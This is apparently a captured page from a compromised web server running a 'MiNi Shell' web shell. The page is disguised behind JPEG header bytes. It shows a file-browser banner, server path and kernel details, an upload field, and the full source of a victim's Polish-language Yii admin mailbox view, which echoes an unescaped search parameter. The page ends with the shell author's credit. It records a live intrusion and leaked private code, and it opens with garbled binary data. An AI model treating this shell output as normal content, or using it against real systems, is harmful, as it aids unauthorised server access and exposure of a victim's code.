JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/backend/views/articlesmailboxes/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/backend/views/articlesmailboxes/index.php

<?php

use yii\helpers\Html;
use yii\helpers\Url;
use yii\widgets\LinkPager;
use backend\components\widgets\FlashMessages;
use yii\bootstrap\Modal;
use yii\widgets\Pjax;

/* @var $this yii\web\View */
/* @var $portalsList array */
/* @var $mails array */
/* @var $pagination yii\data\Pagination */
/* @var $numberOfMails integer */
/* @var $folders array */
/* @var $breadcrumbsForSelectedFolder array */

$this->title = Yii::t('backend', 'Artykuły').' - '.Yii::t('backend', 'Poczta');
$this->params['breadcrumbs'][] = Yii::t('backend', 'Artykuły');
$this->params['breadcrumbs'][] = Yii::t('backend', 'Poczta');

$this->params['contentHeader'] = $this->title;

function renderFolder($category, $orLink = true)
{
    $output = '<li><i class="fa fa-folder';
    if(empty($category['children']))$output.= '-o';
    $output.= '"></i> ';
    
    if($orLink) {
        if($category['orCanOpen']) {
            $output .= '<a href="'.\yii\helpers\Url::current(['folder' => $category['path'], 'page' => null]).'">'.$category['name'].'</a>';
        } else {
            $output .= '<span>'.$category['name'].'</span>';
        }
    } else {
        if($category['orCanOpen']) {
            $output .= '<span class="moveopen">'.$category['name'].'</span> <span class="badge vjs-select" data-folder="'.$category['path'].'" style="cursor: pointer;">Przenieś tutaj</span>';
        } else {
            $output .= '<s><span>'.$category['name'].'</span></s>';
        }
    }
    
    if(!empty($category['children'])) {
        $output .= '<ul>';
        foreach($category['children'] as $subcategory) {                        
            $output .= renderFolder($subcategory, $orLink);                        
        }
        $output .= '</ul>';
    }

    $output .= '</li>';


    return $output;
}

$this->registerJs(' 
    $("document").ready(function(){ 
        $(".button-move-mail").on("click", function() {
            $("#move-mail-form input[name=\"uid\"]").val($(this).data("id"));
            $("#modal-select-folder").modal("show");
        });
        
        $("#modal-select-folder .vjs-select").on("click", function() {            
            var form = $("#move-mail-form");            
            form.find("input[name=\"target_folder\"]").val($(this).data("folder"));
            form.submit();
        });
        
        $(".button-preview-mail").on("click", function() {
            $("#modal-preview-mail").find("#preview-mail-pjax").html("");
            $("#modal-preview-mail").find("#preview-mail-pjax").load($(this).data("url"));
            $("#modal-preview-mail").modal("show");
        });
        
function open(event) {
    var target = $( event.target );
    target.toggleClass("fa-folder").toggleClass("fa-folder-open");
    target.parent().children("ul").toggle();
};
$("#mailtree").find( "ul" ).hide();
$("#mailtree").find(".fa-folder").on("click",open);

var folder = document.URL.split("folder=")[1],
    active = $("#mailtree").find(\'a[href="/articlesmailboxes/index?folder=\'+folder+\'"]\');
    
active.addClass("active").prev(".fa-folder").trigger("click");
active.parents("ul:not(#mailtree)").prev().prev().trigger("click");

function moveopen(event) {
    var target = $( event.target );
    target.parent().children("ul").toggle();
};
$("#movetree").find( "ul" ).hide();
$("#movetree").find(".moveopen").on("click",moveopen);


    });
');

?>

<style>
    #movetree .moveopen {
        cursor: default;
    }    
    #movetree .moveopen:hover {
        color: #3c8dbc;
    }
    #movetree .fa.fa-folder ~ .moveopen {
        cursor: pointer;
    }
    #movetree .fa.fa-folder ~ .moveopen:hover {
        text-decoration: underline; 
    }
    #movetree .badge:hover {
        background: #111;
    }
    #mailtree>li {
        padding: 10px;
        border-top: 1px solid #eee;
        border-bottom: none;
    }
    #mailtree li > a {
        display: inline;
        padding: 0;
        color: #000;
    }  
    #mailtree li > a.active {
        font-weight: bold;
    }
    #mailtree a:hover {
        color: #3c8dbc;
        background: transparent;
    }
    #mailtree ul {
        list-style-type: none;
        padding: 0 20px 5px;
    }
    #mailtree ul li {
        white-space: nowrap;
        text-overflow: ellipsis;
        overflow: hidden;
    }
    #mailtree ul li:hover {
        overflow: unset;
        background: #fff;
        display: block;
        width: fit-content;
        padding-right: 10px;
        z-index: 999;
        position: relative;
    }
</style>

<?php if(!empty($folders)): ?>
    <?php Modal::begin(['header' => '<h4>'.Yii::t('backend', 'Foldery').'</h4>', 'id' => 'modal-select-folder', 'size' => Modal::SIZE_LARGE]); ?>
        <ul id="movetree" class="tree-onlycss">
            <?php foreach($folders as $folder): ?>
                <?= renderFolder($folder, false) ?>
            <?php endforeach; ?>
        </ul>
    <?php Modal::end(); ?> 
<?php endif; ?>

<?php Modal::begin(['header' => '<h4>'.Yii::t('backend', 'Podgląd').'</h4>', 'id' => 'modal-preview-mail', 'size' => Modal::SIZE_LARGE]); ?>
    <?php 
        Pjax::begin([
            'id' => 'preview-mail-pjax',
            'enableReplaceState'=>false,
            'enablePushState'=>false,
            'clientOptions' => [
                'async' => false
            ]
        ]); 
    ?>
    <?php Pjax::end(); ?>
<?php Modal::end(); ?> 

<?= FlashMessages::widget(); ?>
<form id="move-mail-form" method="post" action="<?= Url::to(['articlesmailboxes/move-mail']) ?>">
    <?= Html::hiddenInput(Yii::$app->request->csrfParam, Yii::$app->request->getCsrfToken()); ?>
    <?= Html::hiddenInput('id_portal', Yii::$app->request->get('id_portal')) ?>
    <?= Html::hiddenInput('uid') ?>
    <?= Html::hiddenInput('source_folder', Yii::$app->request->get('folder', 'INBOX')) ?>
    <?= Html::hiddenInput('target_folder') ?>
</form>
<div class="row">
    
    <div class="col-md-2">
        <?php if(!empty($folders)): ?>
            <div class="box box-solid">
                <div class="box-header with-border">
                    <h3 class="box-title"><?= Yii::t('backend', 'Foldery') ?></h3>
                    <div class="box-tools">
                        <button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                    </div>
                </div>
                <div class="box-body no-padding">
                    <ul id="mailtree" class="nav nav-pills nav-stacked">
                        <?php foreach($folders as $folder): ?>
                            <?= renderFolder($folder) ?>
                        <?php endforeach; ?>
<!--                        <li><a href="#"><i class="fa fa-circle-o text-red"></i> Important</a></li>
                        <li><a href="#"><i class="fa fa-circle-o text-yellow"></i> Promotions</a></li>
                        <li><a href="#"><i class="fa fa-circle-o text-light-blue"></i> Social</a></li>-->
                    </ul>
                </div>
            </div>
        <?php endif; ?>
        
        <?php if(!empty($portalsList)): ?>
            <div class="box box-solid">
                <div class="box-header with-border">
                    <h3 class="box-title"><?= Yii::t('backend', 'Skrzynki pocztowe') ?></h3>
                    <div class="box-tools">
                        <button class="btn btn-box-tool" data-widget="collapse"><i class="fa fa-minus"></i></button>
                    </div>
                </div>
                <div class="box-body no-padding">
                    <ul class="nav nav-pills nav-stacked">
                        <li<?php if(empty(Yii::$app->request->get('id_portal'))): ?> class="active"<?php endif; ?>>
                            <a href="<?= Url::to(['index']) ?>"><i class="fa fa-inbox text-green"></i> <?= Yii::t('backend', 'Artykuły') ?> <?php if(empty(Yii::$app->request->get('id_portal'))): ?><span class="label label-primary pull-right"><?= $numberOfMails ?></span><?php endif; ?></a>
                        </li>
                        <?php foreach($portalsList as $idPortal => $domain): ?>
                            <li<?php if(intval(Yii::$app->request->get('id_portal')) === $idPortal): ?> class="active"<?php endif; ?>>
                                <a href="<?= Url::to(['index', 'id_portal' => $idPortal]) ?>"><i class="fa fa-inbox"></i> <?= $domain ?> <?php if(intval(Yii::$app->request->get('id_portal')) === $idPortal): ?><span class="label label-primary pull-right"><?= $numberOfMails ?></span><?php endif; ?></a>
                            </li>
                        <?php endforeach; ?>  
                    </ul>
                </div>
            </div>  
        <?php endif; ?>
    </div>
    
    
    <div class="col-md-10">
        <div class="box box-primary">
            <div class="box-header with-border">
                <h3 class="box-title">
                    <?= empty(Yii::$app->request->get('id_portal')) ? Yii::t('backend', 'Artykuły') : $portalsList[intval(Yii::$app->request->get('id_portal'))] ?>
                    <?php foreach($breadcrumbsForSelectedFolder as $breadcrumbForSelectedFolder): ?>
                        / <a href="<?= Url::to(['articlesmailboxes/index', 'id_portal' => Yii::$app->request->get('id_portal'), 'folder' => $breadcrumbForSelectedFolder['path']]) ?>"><?= $breadcrumbForSelectedFolder['name'] ?></a>
                    <?php endforeach; ?>
                </h3>
                <div class="box-tools pull-right">
                    <div class="has-feedback">
                        <form method="get" action="<?= Url::to(['articlesmailboxes/index', 'id_portal' => Yii::$app->request->get('id_portal')]) ?>">
                            <?php //echo Html::hiddenInput(Yii::$app->request->csrfParam, Yii::$app->request->getCsrfToken()); ?>
                            <input type="text" class="form-control input-sm" name="search_phrase" value="<?= Yii::$app->request->get('search_phrase') ?>" placeholder="<?= Yii::t('backend', 'Szukaj') ?>">
                        </form>
                        <span class="glyphicon glyphicon-search form-control-feedback"></span>
                    </div>
                </div>
                </div>
                <div class="box-body no-padding">
                    <div class="mailbox-controls">
                        <a href="<?= Url::current() ?>" class="btn btn-default btn-sm"><i class="fa fa-refresh"></i></a>
                        <?= LinkPager::widget([
                                'pagination' => $pagination,
                                'options' => [
                                    'class' => 'pagination pull-right',
                                    'style' => 'margin: 0px 0px 5px 0px;'
                                ]
                            ]); 
                        ?>
                    </div>
                    <div class="clearfix"></div>
                    
                    <div class="table-responsive mailbox-messages">
                        <table class="table table-hover table-striped">
                            <thead>
                                <tr>
                                    <th>#</td>
                                    <th><?= Yii::t('backend', 'Nadawca') ?></th>
                                    <th><?= Yii::t('backend', 'Temat') ?></th>
                                    <th><?= Yii::t('backend', 'Załączniki') ?></th>
                                    <th><?= Yii::t('backend', 'Data') ?></th>
                                    <th><?= Yii::t('backend', 'Akcje') ?></th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php if(!empty($mails)): ?>                                    
                                    <?php foreach($mails as $mail): ?>
                                        <tr>
                                            <td><?= $mail['no'] ?></td>
                                            <td style="color: #3c8dbc;"><?= Html::encode($mail['from']) ?></td>
                                            <td><?= Html::encode($mail['subject']) ?></td>
                                            <td>
                                                <?php if(!empty($mail['attachments'])): ?>
                                                    <?php foreach($mail['attachments'] as $attachment): ?>
                                                        <i class="fa fa-paperclip" title="<?= Html::encode($attachment) ?>"></i>  &nbsp;&nbsp;
                                                        <a href="<?= Url::to(['articlesmailboxes/import-article-from-attachment', 'id_message' => $mail['id'], 'id_portal' => Yii::$app->request->get('id_portal'), 'filename' => $attachment]) ?>">
                                                            <?= Yii::t('backend', 'Importuj') ?>
                                                        </a>
                                                        &nbsp;&nbsp;|&nbsp;&nbsp;
                                                        <a href="<?= Url::to(['articlesmailboxes/get-attachment', 'id_message' => $mail['id'], 'id_portal' => Yii::$app->request->get('id_portal'), 'filename' => $attachment]) ?>">
                                                            <?= Yii::t('backend', 'Pobierz') ?>
                                                        </a>
                                                        <br>
                                                    <?php endforeach; ?>                                                
                                                <?php endif; ?>
                                            </td>
                                            <td><i><?= $mail['datetime'] ?></i></td>
                                            <td>
                                                <i class="fa fa-arrow-circle-right button-move-mail" data-id="<?= $mail['id'] ?>" style="cursor: pointer; color: #3c8dbc;"></i>
                                                &nbsp;
                                                <i class="fa fa-eye button-preview-mail" data-url="<?= Url::to(['articlesmailboxes/show-mail', 'id_portal' => Yii::$app->request->get('id_portal'), 'folder' => Yii::$app->request->get('folder', 'INBOX'), 'id_message' => $mail['id']]) ?>" style="cursor: pointer; color: #3c8dbc;"></i>
                                                &nbsp;
                                                <a href="<?= Url::to(['articlesmailboxes/delete-mail', 'id_message' => $mail['id'], 'id_portal' => Yii::$app->request->get('id_portal'), 'folder' => Yii::$app->request->get('folder', 'INBOX')]) ?>">
                                                    <i class="fa fa-trash"></i>
                                                </a>
                                            </td>
                                        </tr>
                                    <?php endforeach; ?>
                                <?php else: ?>
                                <tr>
                                    <td colspan="6"><?= Yii::t('backend', 'Brak danych.') ?></td>
                                </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
                
                <div class="box-footer no-padding">
                    <div class="mailbox-controls">
                        <?= LinkPager::widget([
                                'pagination' => $pagination,
                                'options' => [
                                    'class' => 'pagination pull-right',
                                    'style' => 'margin: 0px 0px 5px 0px;'
                                ]
                            ]); 
                        ?>
                </div>
            </div>
        </div>
    </div>
</div>

          

Creat By MiNi SheLL
Email: jattceo@gmail.com